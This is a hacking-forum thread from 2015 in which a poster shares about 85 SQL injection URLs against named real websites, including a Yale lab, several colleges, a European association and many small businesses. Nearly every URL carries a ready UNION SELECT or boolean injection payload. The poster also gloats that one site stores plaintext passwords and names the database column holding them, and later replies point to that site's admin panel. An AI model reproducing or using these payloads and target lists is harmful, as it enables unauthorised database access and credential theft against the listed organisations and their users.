

Forum:[Hack Forums](#)

Thread: [\[HOT\] 85x SQLi vulns | ALDA | RAMJAS COLLEGE | YALE | DELMAR | UTK | APCOMS](#)

L?YLE - December 13, 2015, 2:07 am

Hey guys here are some vulns have a good look at the first 6. They are my private ones. I found ALDA EU right now and when I exploited the website... Omg... I just laughed the crap out of my body... They store their passes as plaintext AND as MD5..... xD Have fun guys!

PS: the column with passes for ALDA is called "admin_utenti"!

Code http://www.alda-europe.eu/newSite/project_dett.php?ID=999999.9 union all select 1,2,3,4,5,[t],7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
[http://www.ramjascollege.edu/info_in_detail.php?id=68' and \[t\] and '1'='1](http://www.ramjascollege.edu/info_in_detail.php?id=68' and [t] and '1'='1)
http://osujilab.eng.yale.edu/cheminventory/inventory_detail.php?chemical_id=100710999999.9' union all select 1,2,[t],4 and '0'='0&cas=
http://cms.delmar.edu/focused_report_detail.php?ID=999999.9' union all select 1,2,[t],4,5,6,7,8,9,10,11 and '0'='0
<http://ttap.utk.edu/training/railclass.php?id=253999999.9'> union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,[t],25,26,27,28 and '0'='0
<http://www.apcoms.edu.pk/pages/events.php?id=999999.9'> union all select 1,[t],3,4,5,6,7 and '0'='0
[http://accessoires-camping-car.fr/produit.php?cat=\[t\]&souscat=318&pid=5931](http://accessoires-camping-car.fr/produit.php?cat=[t]&souscat=318&pid=5931)
<http://antigodailyjournal.com/index.php?ID=999999.9> union all select 1,2,3,4,5,[t],7,8,9,10,11,12
<http://cadencecomicart.com/artist.php?artist=999999.9> union all select 1,[t],3,4,5,6,7,8,9,10,11,12
<http://careers.thefreshmarket.com/career-search/job-description.php?id=999999.9'> union all select [t],2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 and '0'='0
[http://cattlevisions.com/bull_detail.php?BullId=\[t\]](http://cattlevisions.com/bull_detail.php?BullId=[t])
[http://cimco.su/?categoryID=\[t\]](http://cimco.su/?categoryID=[t])
<http://digitalgeek.me/blogview.php?id=999999.9> union all select [t],2,3,4
<http://gobpo.com/index.php?pageid=999999.9> union all select [t],2--
[http://horstwadons.com/wagon_thumbs.php?cat=13' and \[t\] and '1'='1](http://horstwadons.com/wagon_thumbs.php?cat=13' and [t] and '1'='1)
http://longfordtrust.org/lecture_details.php?id=17999999.9' union all select 1,2,[t],4,5,6,7,8,9 and '0'='0
<http://mp3maza.mobi/download.php?id=999999.9'> union all select [t],2,3,4,5,6,7 and '0'='0
http://osujilab.eng.yale.edu/cheminventory/inventory_detail.php?chemical_id=100710999999.9' union all select 1,2,[t],4 and '0'='0&cas=
<http://pipshuckburgh.co.uk/thumbs.php?cat=89999999.9'> union all select [t],2,3,4,5,6,7,8,9,10 and '0'='0
<http://reachuae.com/update-company-details.php?id=999999.9> union all select 1,2,[t],4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
<http://salzachfestspiele.de/index.php?contid=999999.9> union all select [t]&disply=standard
[http://stpusa.net/dl_file_upload.php?fileId=\[t\]](http://stpusa.net/dl_file_upload.php?fileId=[t])
<http://tiffanysrentals.com/listing-detail.php?id=999999.9> union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,[t],17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33
http://wawf.asia/en/show_news.php?id=263999999.9' union all select 1,[t],3,4,5,6,7 and '0'='0

[http://workampingjobs.com/workampingjobs.php?utype=employer&sortby=\[t\]&year=2014&pay=&sta te=&jobtype=&lmonth=December](http://workampingjobs.com/workampingjobs.php?utype=employer&sortby=[t]&year=2014&pay=&sta te=&jobtype=&lmonth=December)
[http://www.50mmlosangeles.com/artist.php?artistId=1040' and \[t\] and '1'='1](http://www.50mmlosangeles.com/artist.php?artistId=1040' and [t] and '1'='1)
[http://www.advchem.com/prod.php?id=\[t\]](http://www.advchem.com/prod.php?id=[t])

http://www.anneteahan.co.uk/thumbs.php?cat=8' and [t] and '1'=1
http://www.archangels.com/catalog-detail.php?id=346799999.9' union all select
1,2,3,[t],5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 and '0'=0
http://www.atacar.net/inventory.php?id=999999.9 union all select 1,2,[t],4,5,6,7,8,9,10,11,12,13
http://www.auspirit.com/ko/shop/product_detail.asp?ID=[t]
http://www.bindagroup.com/index.php?page_id=999999.9 union all select [t],2,3,4,5,6,7,8&lang=en
http://www.bvkb.be/BVKB/shownews.php?id=999999.9 union all select [t],2,3,4,5,6,7,8,9,10,11
http://www.cambridgesilversmiths.com/browse/detail.php?id=[t]
http://www.cancellations.com/visitors/org_detail.php?OrgId=3467 or 1=[t] and 1=1
http://www.championsport.com.au/gallery/thumbs.php?cat=999999.9 union all select
[t],2,3,4,5,6,7,8,9,10,11,12,13&offset=0
http://www.chinamotorworld.com/index.php?c=product&a=view&id=[t]
http://www.choeagd.com/menu.php?id=[t]
http://www.chrisduran.com.br/ler-noticias.php?id=999999.9 union all select 1,[t],3,4,5,6,7
http://www.costi.org/programs/location_details.php?location_id=999999.9 union all select
1,[t],3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
http://www.creationlightship.com/product_details.php?prodID=[t]
http://www.customraceengines.us/detail.php?id=999999.9 union all select 1,2,3,4,5,[t],7,8,9,10,11
http://www.dioceseofjoliet.org/mapdetail.php?id=[t]
http://www.earthwerks.com/index.php?region=US&lang=EN' and [t] and '1'=1
http://www.earthwerks.net/index.php?region=US&lang=EN' and [t] and '1'=1
http://www.extendgroup.com.tw/en/product/product_detail.php?type=a02&pid=999999.9 union all
select 1,2,3,4,[t],6,7,8,9,10,11,12,13,14,15--
http://www.fortwaynereader.com/story.php?uid=[t]
http://www.fuhua-tongda.com/en/show_news.php?id=263 or 1=[t] and 1=1
http://www.garindustries.com/index.php?CategoryID=[t]
http://www.golfclubspec.com/iron_results.php?id=[t]
http://www.greeklaws.com/pubs/results.php?id=253' and [t] and '1'=1
http://www.gulfislandgabriola.com/listings.php?ID=999999.9' union all select
1,[t],3,4,5,6,7,8,9,10,11,12,13,14,15 and '0'=0&type=property
http://www.hirsutum.info/rhododendron/hybrids/detail.php?id=999999.9 union all select
1,2,3,4,5,6,7,8,[t],10,11,12,13,14,15,16,17,18,19,20,21
http://www.hsabc.com.tw/blog.php?cid=1' and [t] and '1'=1
http://www.iscomo.com/pages.php?id=999999.9' union all select 1,2,[t],4,5 and '0'=0
http://www.keralarealproperty.in/property_details.php?pid=3417999999.9' union all select
1,2,3,4,5,6,7,8,[t],10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 and '0'=0&dis=7&loc=
http://www.kootex.com.au/ko/shop/product_detail.asp?ID=[t]
http://www.lumax.com/main/product.php?productid=999999.9 union all select
1,2,[t],4,5,6,7,8,9,10,11,12,13
http://www.lutterworthgc.co.uk/results.php?id=999999.9' union all select 1,[t],3,4 and '0'=0
http://www.meadowviewstone.co.uk/product-details.php?productId=999999.9 union all select
1,2,[t],4,5,6,7,8,9,10,11,12,13,14,15,16
http://www.media-alliance.org/section.php?id=42 or 1=[t] and 1=1
http://www.modernmec.com/products-sub.php?id=470' and [t] and '1'=1
http://www.museumofmyart.co.uk/thumbs.php?cat=8' and [t] and '1'=1
http://www.navidbaraty.com/gallery.php?gallery_id=13999999.9' union all select
1,2,3,4,5,[t],7,8,9,10,11,12,13 and '0'=0
http://www.ncrc.com.au/ncreweb/bizdetails.php?id=999999.9 union all select [t],2
http://www.nstru.ac.th/portal/news/show_news.php?id=263' or 1=[t] and '1'=1
http://www.otaysales.com/detail.php?inventory_id=5981&category_id=57999999.9' union all select
1,2,3,[t],5,6 and '0'=0
http://www.prograss.com.au/gallery/thumbs.php?cat=999999.9 union all select
[t],2,3,4,5,6,7&offset=0

http://www.pstnet.com/about.cfm?ID=[t]
http://www.realestateshows.com/show/inventory.php?userid=[t]
http://www.rebeccaphillipson.com/thumbs.php?cat=8999999.9' union all select [t],2,3,4,5,6,7,8,9,10 and '0'='0
http://www.sanadrian.es/san-adrian/detalles.php?id=999999.9 union all select [t],2,3,4,5,6,7,8,9,10&c=13
http://www.scrappingturtle.com/productDetail.php?cid=456&productId=[t]
http://www.shadedepotservice.com/product_view.php?p_id=[t]
http://www.smithandwollensky.com/mobile/location-details.php?id=999999.9 union all select 1,2,3,4,5,6,[t],8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
http://www.sneb.org/myplate/Details.php?id=[t]
http://www.southernpowerlifting.com/contest_results.php?id=999999.9 union all select [t],2,3,4
http://www.staffordcommercial.com/detail.php?listing_id=999999.9 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,[t],27--
http://www.susanmoxley.com/thumbs.php?cat=16999999.9' union all select [t],2,3,4,5,6,7,8 and '0'='0&subcat=1
http://www.sussexangling.co.uk/News/IndividualResults.php?ID=999999.9 union all select 1,2,[t],4,5,6,7,8,9,10,11,12
http://www.themeparkreview.com/parks/photo.php?pageid=[t]&linkid=3613
http://www.touchstonemag.com/archives/article.php?id=999999.9' union all select [t],2,3,4,5,6,7,8,9,10 and '0'='0
http://www.ultimenotizie.net/showRSS.php?template=newsreggio' and [t] and '1'='1
http://www.wopl.org/tips-detail.php?id=999999.9 union all select 1,2,[t]
https://www.stadtlaufen.de/index.php?contid=999999.9 union all select [t]&disply=standard

Aakash_Choudhary - December 13, 2015, 4:01 am

1st website :-> <http://www.alda-europe.eu/administrator>

Database Error: Unable to connect to the database:Could not connect to MySQL

L?YLE - December 13, 2015, 4:17 am

(Dec 13, 2015 05:01 AM)Aakash_Choudhary Wrote: [\[CITE\]](#) 1st website :-> <http://www.alda-europe.eu/administrator>

Database Error: Unable to connect to the database:Could not connect to MySQL
hahahahahah LOL

xStam - December 13, 2015, 2:13 pm

thanks on the post but sqli dumper is shit ?

L?YLE - December 13, 2015, 9:38 pm

(Dec 13, 2015 03:13 PM)xStam Wrote: [\[CITE\]](#) thanks on the post but sqli dumper is shit ?
I know but it's just for other people to learn and btw the first 6 aren't from sql dumper :P

xStam - December 14, 2015, 3:26 am

(Dec 13, 2015 10:38 PM)L?YLE Wrote: [\[CITE\]](#) I know but it's just for other people to learn and btw the first 6 aren't from sql dumper :P
Ohh okay nice, good luck!